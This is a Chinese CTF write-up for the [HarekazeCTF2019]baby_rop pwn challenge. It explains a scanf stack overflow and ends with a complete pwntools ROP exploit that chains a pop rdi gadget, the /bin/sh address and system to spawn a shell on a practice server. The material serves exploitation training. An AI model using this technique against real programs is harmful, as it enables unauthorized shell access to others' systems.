[HarekazeCTF2019]baby_rop

Baby_ROP挑战解析

最新推荐文章于 2025-01-10 19:31:29 发布

原创最新推荐文章于 2025-01-10 19:31:29 发布 · 673 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#pwn #python #网络安全 #CTF #WriteUP

BUU-PWN 专栏收录该内容

58 篇文章

订阅专栏

本文介绍[HarekazeCTF2019]baby_rop题目的解决过程，通过利用栈溢出覆盖返回地址指向system@PLT，并传递/bin/sh作为参数来获取shell。文章详细分析了漏洞利用的技术细节。

[HarekazeCTF2019]baby_rop

使用checksec查看：
在这里插入图片描述

只开启了栈不可执行。

放进IDA中分析：
在这里插入图片描述

system("echo -n \"What's your name? \"");：system()可用
__isoc99_scanf("%s", &v4);：存在栈溢出

查看字符串：
在这里插入图片描述

存在/bin/sh字符串

题目思路

利用栈溢出覆盖返回地址为system@PLT
传入system()的参数/bin/sh
即可getshell

步骤解析

无需

完整exp

from pwn import *

#start
r = remote("node4.buuoj.cn",26718)
# r = process("../buu/[HarekazeCTF2019]baby_rop")
elf = ELF("../buu/[HarekazeCTF2019]baby_rop")

#params
rdi_addr = 0x400683
bin_sh_addr = 0x601048
system_addr = elf.symbols['system']

#attack
payload=b'M'*0x18 + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.sendline(payload)

r.interactive()